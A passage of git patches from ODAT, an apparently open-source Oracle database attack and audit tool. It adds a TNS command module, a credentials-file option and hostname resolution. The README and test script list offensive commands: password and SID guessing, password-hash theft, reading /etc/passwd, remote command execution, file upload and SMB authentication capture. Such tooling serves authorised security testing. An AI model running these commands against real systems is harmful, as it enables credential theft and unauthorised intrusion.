+from Tnscmd import runTnsCmdModule from UtlFile import UtlFile, runUtlFileModule from DbmsAdvisor import DbmsAdvisor,runDbmsadvisorModule from DbmsScheduler import DbmsScheduler,runDbmsSchedulerModule @@ -66,12 +67,24 @@ def runAllModules(args): connectionInformation, validSIDsList = {}, [] #A)SID MANAGEMENT if args['sid'] == None : + logging.debug("Searching valid SIDs") validSIDsList = runSIDGuesserModule(args) args['user'], args['password'] = None, None else : validSIDsList = [args['sid']] #B)ACCOUNT MANAGEMENT - if args['user'] == None and args['password'] == None: + print repr(args['accounts-file']) + if args['credentielsFile'] == True : + logging.debug("Loading credentiels stored in the {0} file".format(args['accounts-file'])) + #Load accounts from file + passwordGuesser = PasswordGuesser(args, args['accounts-file']) + validAccountsList = passwordGuesser.getAccountsFromFile() + for aSid in validSIDsList: + for anAccount in validAccountsList: + if connectionInformation.has_key(aSid) == False: connectionInformation[aSid] = [[anAccount[0], anAccount[1]]] + else : connectionInformation[aSid].append([anAccount[0], anAccount[1]]) + print validAccountsList + elif args['user'] == None and args['password'] == None: for sid in validSIDsList: args['print'].title("Searching valid accounts on the {0} SID".format(sid)) args['sid'] = sid @@ -94,7 +107,7 @@ def runAllModules(args): else : connectionInformation[aSid].append([aLogin,aPassword]) #C)ALL OTHERS MODULES if sidHasBeenGiven(args) == False : return EXIT_MISS_ARGUMENT - elif anAccountIsGiven(args) == False : return EXIT_MISS_ARGUMENT + #elif anAccountIsGiven(args) == False : return EXIT_MISS_ARGUMENT for aSid in connectionInformation.keys(): for loginAndPass in connectionInformation[aSid]: args['sid'] , args['user'], args['password'] = aSid, loginAndPass[0],loginAndPass[1] @@ -203,6 +216,14 @@ def main(): PPoutput._optionals.title = "output configurations" PPoutput.add_argument('--no-color', dest='no-color', required=False, action='store_true', help='no color for output') PPoutput.add_argument('--output-file',dest='outputFile',default=None,required=False,help='save results in this file') + #1.3- Parent parser: all option + PPallModule = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPallModule._optionals.title = "all module options" + PPallModule.add_argument('-C', dest='credentielsFile', action='store_true', required=False, default=False, help='use credentiels stored in the --accounts-file file (disable -P and -U)') + #1.3- Parent parser: TNS cmd + PPTnsCmd = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPTnsCmd._optionals.title = "TNS cmd options" + PPTnsCmd.add_argument('--ping', dest='ping', action='store_true', required=False, default=False, help='send a TNS ping command to get alias') #1.3- Parent parser: SID Guesser PPsidguesser = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) PPsidguesser._optionals.title = "SID guesser options" @@ -319,8 +340,11 @@ def main(): #2- main commands subparsers = parser.add_subparsers(help='\nChoose a main command') #2.a- Run all modules - parser_all = subparsers.add_parser('all',parents=[PPoptional,PPconnection,PPoutput,PPsidguesser,PPpassguesser],help='to run all modules in order to know what it is possible to do') + parser_all = subparsers.add_parser('all',parents=[PPoptional,PPconnection,PPallModule,PPoutput,PPsidguesser,PPpassguesser],help='to run all modules in order to know what it is possible to do') parser_all.set_defaults(func=runAllModules,auditType='all') + #2.b- tnscmd + parser_tnscmd = subparsers.add_parser('tnscmd',parents=[PPoptional,PPconnection,PPTnsCmd,PPoutput],help='to know TNS alias') + parser_tnscmd.set_defaults(func=runTnsCmdModule,auditType='tnscmd') #2.b- SIDGuesser parser_sidGuesser = subparsers.add_parser('sidguesser',parents=[PPoptional,PPconnection,PPsidguesser,PPoutput],help='to know valid SIDs') parser_sidGuesser.set_defaults(func=runSIDGuesserModule,auditType='sidGuesser') From 7ea88d5926a8f6c42ab63e107a4242748187731a Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 7 Oct 2014 17:04:59 +0200 Subject: [PATCH 44/83] add TNS ping, status and version --- Tnscmd.py | 58 +++++++++++++++++++++++++++++++++++-------------------- odat.py | 2 ++ 2 files changed, 39 insertions(+), 21 deletions(-) diff --git a/Tnscmd.py b/Tnscmd.py index 92d3a1b..e2a51ef 100644 --- a/Tnscmd.py +++ b/Tnscmd.py @@ -16,19 +16,20 @@ def __init__(self,args): self.args = args self.recvdata = "" self.alias = [] - - def resetAlias (self): + self.version = "" + + def getRecvData(self): ''' - reset alias + return a representation of received data ''' - logging.info ("alias list emptied") - self.alias = [] + return repr(self.recvdata) def getInformation(self,cmd='ping'): ''' Get information about the oracle database service ''' - self.resetAlias() + logging.info ("alias list emptied") + self.recvdata = "" command = "(CONNECT_DATA=(COMMAND={0}))".format(cmd) commandlen = len(command) #logging.info("Sending {0} to {1}:{2} in order to get ALIAS".format(command,self.args['server'],self.args['port'])) @@ -70,37 +71,52 @@ def getInformation(self,cmd='ping'): except Exception,e: logging.critical("Connection Error: {0}".format(e)) # 1st 12 bytes have some meaning which so far eludes me - logging.info('Data received thanks to the {1} cmd: {0}'.format(repr(self.recvdata),cmd)) - self.__getAliasStrg__() - - def __getAliasStrg__(self): - ''' - load aliasstring from self.recvdata - ''' - alias = re.findall(r'(?<=ALIAS).+?(?=\))', self.recvdata, flags=re.IGNORECASE) - for anAlias in alias : self.alias.append(anAlias.replace('\n','').replace(' ','').replace('\t','').replace('=','')) - #logging.info("Alias found: {0}".format(self.alias)) + logging.info("Data received thanks to the '{1}' cmd: {0}".format(repr(self.recvdata),cmd)) def getAlias(self): ''' return alias list ''' - self.getInformation() + self.alias = [] + self.getInformation(cmd='ping') + alias = re.findall(r'(?<=ALIAS=).+?(?=\))', self.recvdata, flags=re.IGNORECASE) + for anAlias in alias : self.alias.append(anAlias.replace('\n','').replace(' ','').replace('\t','')) return self.alias + def getVersion(self): + ''' + return version from VSNNUM + ''' + self.version = "" + self.getInformation(cmd='version') + vsnnum = re.findall(r'(?<=VSNNUM=).+?(?=\))', self.recvdata, flags=re.IGNORECASE) + hexversion = str(hex(int(vsnnum[0])))[2:] + if len(hexversion)%2 !=0 : hexversion='0'+hexversion + versionList = re.findall('..?',hexversion) + for v in versionList : self.version += str(int(v,16)) + '.' + return self.version + + def runTnsCmdModule(args): ''' run the TNS cmd module ''' - if args['ping'] == False : - logging.critical("You must choose the --ping option") + if args['ping'] == False and args['version'] == False and args['status'] == False: + logging.critical("You must choose --ping or/and --version or/and --status") return EXIT_MISS_ARGUMENT - args['print'].title("Searching ALIAS on the {0} server, port {1}".format(args['server'],args['port'])) tnscmd = Tnscmd(args) if args['ping'] == True: + args['print'].title("Searching ALIAS on the {0} server, port {1}".format(args['server'],args['port'])) alias = tnscmd.getAlias() args['print'].goodNews("{0} ALIAS received: {1}. You should use this alias (more or less) as Oracle SID.".format(len(alias),alias)) - #print alias + if args['version'] == True: + args['print'].title("Searching the version of the Oracle database server ({0}) listening on the port {1}".format(args['server'],args['port'])) + version = tnscmd.getVersion() + args['print'].goodNews("The remote database version is: '{0}'".format(version)) + if args['status'] == True: + args['print'].title("Searching the server status of the Oracle database server ({0}) listening on the port {1}".format(args['server'],args['port'])) + tnscmd.getInformation(cmd='status') + args['print'].goodNews("Data received by the database server: '{0}'".format(tnscmd.getRecvData())) diff --git a/odat.py b/odat.py index e501e95..c17e26e 100755 --- a/odat.py +++ b/odat.py @@ -224,6 +224,8 @@ def main(): PPTnsCmd = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) PPTnsCmd._optionals.title = "TNS cmd options" PPTnsCmd.add_argument('--ping', dest='ping', action='store_true', required=False, default=False, help='send a TNS ping command to get alias') + PPTnsCmd.add_argument('--version', dest='version', action='store_true', required=False, default=False, help='send a TNS version command to try to get verion') + PPTnsCmd.add_argument('--status', dest='status', action='store_true', required=False, default=False, help='send a TNS status command to get the status') #1.3- Parent parser: SID Guesser PPsidguesser = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) PPsidguesser._optionals.title = "SID guesser options" From d238e30e8d516d01af93248b9b2473eb7fbddd55 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 7 Oct 2014 17:05:39 +0200 Subject: [PATCH 45/83] version 1.3 --- README.md | 29 +++++++++++++++++++++++++---- 1 file changed, 25 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index b39501f..504eb1d 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,9 @@ Tested on Oracle Database __10g__ and __11g__. Changelog ==== - +* Version __1.3__ (__2014/10/07__) : + * add the *-C* option in the *all* module. It can be used to use a credentiels file (disable the *-U* and *-P* option) + * add the *tnscmd* module to get TNS *alias*, database *version* (thanks to VSNNUM) ans TNS *status* * Version __1.2__ (__2014/08/08__) : * add the *SMB* module to capture a SMB authentication * add an option (*SHOW_SQL_REQUESTS_IN_VERBOSE_MODE*) in *Constants.py* to show SQL requests sent to the database server @@ -221,7 +223,26 @@ For each valid account on each valid instance (SID), it will give you what each * If you known a SID (ex: *ORCL*) and an account (*SYS/password*): ```bash -./odat.py all -s 192.168.142.73 -p 1521 -d ORCL -U SYS -P password +./odat.py all -s $SERVER -p $PORT -d $SID -U $USER -P $PASSWORD +``` + + *tnscmd* module +--- +This module can be used to communicate directly with the Oracle's TNS listener. + +* If you would like to know alias defined on the listener, you could use this following command: +```bash +./odat.py tnscmd -s $SERVER -p $PORT --ping +``` + +* To know the remote database version, the following command can be used: +```bash +./odat.py tnscmd -s $SERVER -p $PORT --version +``` + +* To know the remote database status, the following command can be used: +```bash +./odat.py tnscmd -s $SERVER -p $PORT --status ``` *sidguesser* module @@ -446,7 +467,7 @@ This module has been created in order to get hashed password quicly and to picku ./odat.py passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords ``` - *dbmslob* module (NEW : 2014/07/28) + *dbmslob* module --- This module uses the DBMS_LOB Oracle library to download files remotely. @@ -456,7 +477,7 @@ This module uses the DBMS_LOB Oracle library to download files remotely. ./odat.py dbmslob -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/ passwd temp.txt ``` - *smb* module (NEW : 2014/08/08) + *smb* module --- This module allows to capture a SMB authentication. From 8d5782ee51fc5f96f5919d63dcaeca751da176f7 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 7 Oct 2014 17:37:10 +0200 Subject: [PATCH 46/83] fix a mistake --- Passwords.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Passwords.py b/Passwords.py index 6a0c017..42e8593 100644 --- a/Passwords.py +++ b/Passwords.py @@ -100,7 +100,7 @@ def runPasswordsModule(args): Run the Passwords module ''' status = True - if checkOptionsGivenByTheUser(args,["test-module","info","get-passwords","get-passwords-from-history"]) == False : return EXIT_MISS_ARGUMENT + if checkOptionsGivenByTheUser(args,["test-module","get-passwords","get-passwords-from-history"]) == False : return EXIT_MISS_ARGUMENT passwords = Passwords(args) status = passwords.connection(stopIfError=True) if args.has_key('info')==False: From 27f08ed75dd728ed00067363d4c07074c9028b82 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Wed, 8 Oct 2014 15:43:08 +0200 Subject: [PATCH 47/83] Now, Name server can be given to the *-s* command --- Utils.py | 15 ++++++++++----- odat-libc2.19-x86_64.spec | 10 ++++++++-- odat.py | 6 +++--- 3 files changed, 21 insertions(+), 10 deletions(-) diff --git a/Utils.py b/Utils.py index bf102b7..192d9ed 100644 --- a/Utils.py +++ b/Utils.py @@ -2,6 +2,7 @@ # -*- coding: utf-8 -*- import re, logging, platform,time +from socket import gethostbyname from sys import exit from sys import stdout from datetime import datetime @@ -159,9 +160,9 @@ def anOperationHasBeenChosen(args, operations): logging.critical("An operation on this module must be chosen thanks to one of these options: --{0};".format(', --'.join(operations))) return False -def ipHasBeenGiven(args): +def ipOrNameServerHasBeenGiven(args): ''' - Return True if an ip has been given + Return True if an ip or name server has been given Otherwise return False - args must be a dictionnary ''' @@ -172,8 +173,12 @@ def ipHasBeenGiven(args): try: inet_aton(args['server']) except Exception,e: - logging.critical("The server addess must be an IPv4 address") - return False + try: + ip = gethostbyname(args['server']) + args['server'] = ip + except Exception,e: + logging.critical("There is an error with the name server or ip address: '{0}'".format(e)) + return False return True def sidHasBeenGiven(args): @@ -194,7 +199,7 @@ def checkOptionsGivenByTheUser(args,operationsAllowed,checkAccount=True): - args: list - operationsAllowed : opertaions allowed with this module ''' - if ipHasBeenGiven(args) == False : return False + if ipOrNameServerHasBeenGiven(args) == False : return False elif sidHasBeenGiven(args) == False : return False elif checkAccount==True and anAccountIsGiven(args) == False : return False elif anOperationHasBeenChosen(args,operationsAllowed) == False : return False diff --git a/odat-libc2.19-x86_64.spec b/odat-libc2.19-x86_64.spec index 8b0c932..e59e9dc 100644 --- a/odat-libc2.19-x86_64.spec +++ b/odat-libc2.19-x86_64.spec @@ -1,10 +1,16 @@ # -*- mode: python -*- + +block_cipher = None + + a = Analysis(['odat.py'], pathex=['/home/bobsecurity/odat'], hiddenimports=[], hookspath=['/usr/lib/python2.7/dist-packages/scapy/layers/'], - runtime_hooks=None) -pyz = PYZ(a.pure) + runtime_hooks=None, + cipher=block_cipher) +pyz = PYZ(a.pure, + cipher=block_cipher) exe = EXE(pyz, a.scripts, exclude_binaries=True, diff --git a/odat.py b/odat.py index c17e26e..21dc2f1 100755 --- a/odat.py +++ b/odat.py @@ -15,7 +15,7 @@ COLORLOG_AVAILABLE = False import argparse, logging, platform, cx_Oracle, string, os -from Utils import areEquals, configureLogging,ErrorSQLRequest, sidHasBeenGiven, anAccountIsGiven, ipHasBeenGiven +from Utils import areEquals, configureLogging,ErrorSQLRequest, sidHasBeenGiven, anAccountIsGiven, ipOrNameServerHasBeenGiven from sys import exit,stdout from Constants import * @@ -345,7 +345,7 @@ def main(): parser_all = subparsers.add_parser('all',parents=[PPoptional,PPconnection,PPallModule,PPoutput,PPsidguesser,PPpassguesser],help='to run all modules in order to know what it is possible to do') parser_all.set_defaults(func=runAllModules,auditType='all') #2.b- tnscmd - parser_tnscmd = subparsers.add_parser('tnscmd',parents=[PPoptional,PPconnection,PPTnsCmd,PPoutput],help='to know TNS alias') + parser_tnscmd = subparsers.add_parser('tnscmd',parents=[PPoptional,PPconnection,PPTnsCmd,PPoutput],help='to communicate with the TNS listener') parser_tnscmd.set_defaults(func=runTnsCmdModule,auditType='tnscmd') #2.b- SIDGuesser parser_sidGuesser = subparsers.add_parser('sidguesser',parents=[PPoptional,PPconnection,PPsidguesser,PPoutput],help='to know valid SIDs') @@ -412,7 +412,7 @@ def main(): configureLogging(args) args['print'] = Output(args) #Start the good function - if args['auditType']!='clean' and ipHasBeenGiven(args) == False : return EXIT_MISS_ARGUMENT + if args['auditType']!='clean' and ipOrNameServerHasBeenGiven(args) == False : return EXIT_MISS_ARGUMENT arguments.func(args) exit(ALL_IS_OK) From a2d5cc0f56519e44cff451a008ef73f9b7179471 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Wed, 8 Oct 2014 15:45:34 +0200 Subject: [PATCH 48/83] bug fix: name server can be given to the -s option --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 504eb1d..b7c5a26 100644 --- a/README.md +++ b/README.md @@ -16,6 +16,7 @@ Changelog * Version __1.3__ (__2014/10/07__) : * add the *-C* option in the *all* module. It can be used to use a credentiels file (disable the *-U* and *-P* option) * add the *tnscmd* module to get TNS *alias*, database *version* (thanks to VSNNUM) ans TNS *status* + * bug fix: name server can be given to the *-s* option * Version __1.2__ (__2014/08/08__) : * add the *SMB* module to capture a SMB authentication * add an option (*SHOW_SQL_REQUESTS_IN_VERBOSE_MODE*) in *Constants.py* to show SQL requests sent to the database server From 54bcf7c6ef502324b1af4fd0e302c7bdac4c90e9 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 14 Oct 2014 10:18:48 +0200 Subject: [PATCH 49/83] spelling mistake --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index b7c5a26..0901665 100644 --- a/README.md +++ b/README.md @@ -14,8 +14,8 @@ Tested on Oracle Database __10g__ and __11g__. Changelog ==== * Version __1.3__ (__2014/10/07__) : - * add the *-C* option in the *all* module. It can be used to use a credentiels file (disable the *-U* and *-P* option) - * add the *tnscmd* module to get TNS *alias*, database *version* (thanks to VSNNUM) ans TNS *status* + * add the *-C* option in the *all* module. This module can be used to use file which contains credentials (disable the *-U* and *-P* option) + * add the *tnscmd* module to get TNS *alias*, database *version* (thanks to VSNNUM) and TNS *status* * bug fix: name server can be given to the *-s* option * Version __1.2__ (__2014/08/08__) : * add the *SMB* module to capture a SMB authentication From becb028fd69ffbe555f423947c1dc2335a850285 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 14 Oct 2014 10:20:50 +0200 Subject: [PATCH 50/83] delete a print --- odat.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/odat.py b/odat.py index 21dc2f1..eecd624 100755 --- a/odat.py +++ b/odat.py @@ -73,7 +73,6 @@ def runAllModules(args): else : validSIDsList = [args['sid']] #B)ACCOUNT MANAGEMENT - print repr(args['accounts-file']) if args['credentielsFile'] == True : logging.debug("Loading credentiels stored in the {0} file".format(args['accounts-file'])) #Load accounts from file @@ -83,7 +82,6 @@ def runAllModules(args): for anAccount in validAccountsList: if connectionInformation.has_key(aSid) == False: connectionInformation[aSid] = [[anAccount[0], anAccount[1]]] else : connectionInformation[aSid].append([anAccount[0], anAccount[1]]) - print validAccountsList elif args['user'] == None and args['password'] == None: for sid in validSIDsList: args['print'].title("Searching valid accounts on the {0} SID".format(sid)) From cfcbd14930a51a4f03629a63b1c2ef82f5638395 Mon Sep 17 00:00:00 2001 From: JukArkadiy Date: Tue, 21 Oct 2014 16:17:36 +0400 Subject: [PATCH 51/83] Update README.md Typo in sidguesser how-to section --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 46ce55b..bce024d 100644 --- a/README.md +++ b/README.md @@ -252,7 +252,7 @@ This module search valid SID only. * You can give the file name containing a SID list: ```bash -./odat.py passwordguesser -s $SERVER -d $SID --accounts-file=./accounts_small.txt +./odat.py sidguesser -s $SERVER -d $SID --sids-file=./sids.txt ``` *passwordguesser* module From e3215fb7061022c83ade5d9050594e4ac1c1009b Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 21 Oct 2014 14:21:09 +0200 Subject: [PATCH 52/83] No error when python scapy is not installed --- CVE_2012_3137.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/CVE_2012_3137.py b/CVE_2012_3137.py index 7d51a3f..3e71fff 100644 --- a/CVE_2012_3137.py +++ b/CVE_2012_3137.py @@ -24,8 +24,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.ERROR) sys.stdout = tempout; sys.stderr = temperr if SCAPY_AVAILABLE == False : - logging.critical('You need to install python scapy !') - sys.exit(EXIT_MISS_MODULE) + logging.warning('You need to install python scapy if you want to use the CVE_2012_3137 module !') class CVE_2012_3137 (): ''' From ad25dae7264ecb1cc621aaf9b1381b1a722a3d8d Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 21 Oct 2014 15:35:59 +0200 Subject: [PATCH 53/83] Check if pyinstaler is installed --- createALinuxBinary.sh | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/createALinuxBinary.sh b/createALinuxBinary.sh index e8ccdd8..f8609bc 100755 --- a/createALinuxBinary.sh +++ b/createALinuxBinary.sh @@ -1,10 +1,17 @@ #/bin/bash -GLIBC_VERSION=`ldd --version | grep ldd | cut -d ' ' -f 5` +GLIBC_VERSION=`ldd --version | grep ldd | grep -o ')[^"]*' | sed "s/) //g"` VERSION="libc$GLIBC_VERSION-`uname -m`" -echo $NAME +PYINSTALLER="/usr/local/bin/pyinstaller" #or "/opt/python2.7.8/bin/pyinstaller" +ORACLE_HOME="/usr/lib/oracle/11.2/client64/" #Creation +if which $PYINSTALLER >/dev/null; then + echo "Pyinstaller has been found: good news :)" +else + echo "Pyinstaller not found, stop!" + exit 0 +fi mkdir -p ./build/linux/ -pyinstaller --clean --onedir --noconfirm --distpath="./build/linux/" --workpath="./build/" --name="odat-$VERSION" odat.py --additional-hooks-dir='/usr/lib/python2.7/dist-packages/scapy/layers/' --strip +$PYINSTALLER --clean --onedir --noconfirm --distpath="./build/linux/" --workpath="./build/" --name="odat-$VERSION" odat.py --additional-hooks-dir='/usr/lib/python2.7/dist-packages/scapy/layers/' --strip #Add a librarie manually cp "$ORACLE_HOME"/lib/libociei.so ./build/linux/odat-$VERSION/libociei.so #Required files @@ -25,4 +32,3 @@ if [[ $REPLY =~ ^[Yy]$ ]] then rm -r ./odat-$VERSION/ fi - From c6b6c7c93cc8ad69c695f69c92ca6942e9ddcc2b Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Thu, 6 Nov 2014 15:07:14 +0100 Subject: [PATCH 54/83] Odat bin as an option --- testAllOdatModules.sh | 99 ++++++++++++++++++++++--------------------- 1 file changed, 50 insertions(+), 49 deletions(-) diff --git a/testAllOdatModules.sh b/testAllOdatModules.sh index 37013b5..95a664e 100755 --- a/testAllOdatModules.sh +++ b/testAllOdatModules.sh @@ -8,57 +8,58 @@ USER="SYS" PASSWORD='oracle' #OPTIONS VERBOSE='-vv' #'> /dev/null' +ODATBIN='./odat.py' -tests=( "./odat.py all -s $SERVER" - "./odat.py all -s $SERVER --accounts-file=./accounts_small.txt --sid-charset '01' --sids-max-size=2" - "./odat.py all -s $SERVER --no-alias-like-sid --sids-file=./sids.txt" - "./odat.py all -s $SERVER -d $SID" - "./odat.py all -s $SERVER -d $SID -U $USER -P $PASSWORD" - "./odat.py all -s $SERVER -d $SID -U $USER -P $PASSWORD" - "./odat.py sidguesser -s $SERVER --sids-max-size=1 --sid-charset='1234'" - "./odat.py sidguesser -s $SERVER --sids-file=./sids.txt" - "./odat.py passwordguesser -s $SERVER -d $SID" - "./odat.py passwordguesser -s $SERVER -d $SID --accounts-file=./accounts_small.txt" - "./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" - "./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" - "./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" - "echo 'GET / HTTP/1.0\n\n' > ./temp.txt; ./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --send google.com 80 temp.txt ;rm ./temp.txt" - "./odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" - "./odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" - "./odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" - "./odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --url 127.0.0.1:80" - "./odat.py utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" - "./odat.py utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" - "./odat.py utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" - "echo 'GET / HTTP/1.0\n\n' > ./temp.txt; ./odat.py utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --send-packet 127.0.0.1 80 ./temp.txt ;rm ./temp.txt" - "./odat.py ctxsys -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" - "./odat.py ctxsys -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/passwd" - "./odat.py externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" - "./odat.py externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /tmp/ temp.sh passwd.txt" - "./odat.py externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /tmp/ temp.sh" - "./odat.py dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" - "./odat.py dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt accounts_small.txt" - "./odat.py dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" - "./odat.py dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt ./accounts_small.txt" - "./odat.py utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module --getFile /etc/ passwd passwd.txt" - "./odat.py utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt accounts_small.txt" - "./odat.py utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --removeFile /tmp/ file.txt" - "./odat.py dbmsscheduler -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" - "./odat.py dbmsscheduler -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /bin/ls" - "./odat.py java -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" - "./odat.py passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" - "./odat.py passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords-from-history" - "./odat.py passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords" - "./odat.py oradbg -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" - "./odat.py oradbg -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /bin/ls" - "sudo ./odat.py stealremotepwds -s $SERVER -d $SID --test-module" - "sudo ./odat.py stealremotepwds -s $SERVER -d $SID --user-list accounts_small.txt --get-all-passwords" - "sudo chmod o+r sessions-$SERVER-1521-$SID.odat.challenge; ./odat.py stealremotepwds -s $SERVER -d $SID --decrypt-sessions sessions-$SERVER-1521-$SID.odat.challenge accounts_small.txt" - "./odat.py dbmslob -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" - "./odat.py dbmslob -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/ passwd temp.txt" - "./odat.py smb -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" - "./odat.py smb -s $SERVER -d $SID -U $USER -P $PASSWORD --capture 127.0.0.1 SHARE" +tests=( "$ODATBIN all -s $SERVER" + "$ODATBIN all -s $SERVER --accounts-file=./accounts_small.txt --sid-charset '01' --sids-max-size=2" + "$ODATBIN all -s $SERVER --no-alias-like-sid --sids-file=./sids.txt" + "$ODATBIN all -s $SERVER -d $SID" + "$ODATBIN all -s $SERVER -d $SID -U $USER -P $PASSWORD" + "$ODATBIN all -s $SERVER -d $SID -U $USER -P $PASSWORD" + "$ODATBIN sidguesser -s $SERVER --sids-max-size=1 --sid-charset='1234'" + "$ODATBIN sidguesser -s $SERVER --sids-file=./sids.txt" + "$ODATBIN passwordguesser -s $SERVER -d $SID" + "$ODATBIN passwordguesser -s $SERVER -d $SID --accounts-file=./accounts_small.txt" + "$ODATBIN utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" + "$ODATBIN utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" + "echo 'GET / HTTP/1.0\n\n' > ./temp.txt; $ODATBIN utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --send google.com 80 temp.txt ;rm ./temp.txt" + "$ODATBIN httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" + "$ODATBIN httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" + "$ODATBIN httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --url 127.0.0.1:80" + "$ODATBIN utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" + "$ODATBIN utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" + "echo 'GET / HTTP/1.0\n\n' > ./temp.txt; $ODATBIN utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --send-packet 127.0.0.1 80 ./temp.txt ;rm ./temp.txt" + "$ODATBIN ctxsys -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN ctxsys -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/passwd" + "$ODATBIN externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /tmp/ temp.sh passwd.txt" + "$ODATBIN externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /tmp/ temp.sh" + "$ODATBIN dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt accounts_small.txt" + "$ODATBIN dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt ./accounts_small.txt" + "$ODATBIN utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module --getFile /etc/ passwd passwd.txt" + "$ODATBIN utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt accounts_small.txt" + "$ODATBIN 